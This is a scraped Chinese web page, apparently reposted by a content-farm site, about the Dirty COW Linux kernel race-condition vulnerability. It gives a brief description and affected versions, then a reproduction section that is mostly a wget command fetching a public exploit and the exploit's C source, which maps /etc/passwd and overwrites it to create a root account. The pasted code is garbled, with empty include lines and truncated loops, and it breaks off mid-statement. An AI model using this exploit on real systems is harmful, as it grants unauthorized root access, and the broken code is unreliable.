Linux脏牛(DirtyCow

您所在的位置:网站首页 linux脏牛漏洞修复 Linux脏牛(DirtyCow

Linux脏牛(DirtyCow

2023-09-13 17:08| 来源: 网络整理| 查看: 265

简介

Linux kernel是美国Linux基金会发布的开源操作系统Linux所使用的内核。

漏洞概述

Linux kernel 2.x至4.8.3之前的4.x版本中的mm/gup.c文件存在竞争条件问题漏洞,该漏洞源于程序没有正确处理copy-on-write(COW)功能写入只读内存映射。本地攻击者可利用该漏洞获取权限。

影响版本

从 2007 年发布 2.6.22 版本开始,直到2016年10月18日为止,这中间发行的所有 Linux 系统都受影响

漏洞复现

当前用户为test,Linux kernel为2.6.32

exploit

//wget https://github.com/FireFart/dirtycow/archive/master.zip //dirty.c #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  #include  const char *filename = "/etc/passwd"; const char *backup_filename = "/tmp/passwd.bak"; const char *salt = "firefart"; int f; void *map; pid_t pid; pthread_t pth; struct stat st; struct Userinfo {    char *username;    char *hash;    int user_id;    int group_id;    char *info;    char *home_dir;    char *shell; }; char *generate_password_hash(char *plaintext_pw) {   return crypt(plaintext_pw, salt); } char *generate_passwd_line(struct Userinfo u) {   const char *format = "%s:%s:%d:%d:%s:%s:%s\n";   int size = snprintf(NULL, 0, format, u.username, u.hash,     u.user_id, u.group_id, u.info, u.home_dir, u.shell);   char *ret = malloc(size + 1);   sprintf(ret, format, u.username, u.hash, u.user_id,     u.group_id, u.info, u.home_dir, u.shell);   return ret; } void *madviseThread(void *arg) {   int i, c = 0;   for(i = 0; i = 2) {     plaintext_pw = argv[1];     printf("Please enter the new password: %s\n", plaintext_pw);   } else {     plaintext_pw = getpass("Please enter the new password: ");   }   user.hash = generate_password_hash(plaintext_pw);   char *complete_passwd_line = generate_passwd_line(user);   printf("Complete line:\n%s\n", complete_passwd_line);   f = open(filename, O_RDONLY);   fstat(f, &st);   map = mmap(NULL,              st.st_size + sizeof(long),              PROT_READ,              MAP_PRIVATE,              f,              0);   printf("mmap: %lx\n",(unsigned long)map);   pid = fork();   if(pid) {     waitpid(pid, NULL, 0);     int u, i, o, c = 0;     int l=strlen(complete_passwd_line);     for(i = 0; i 


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3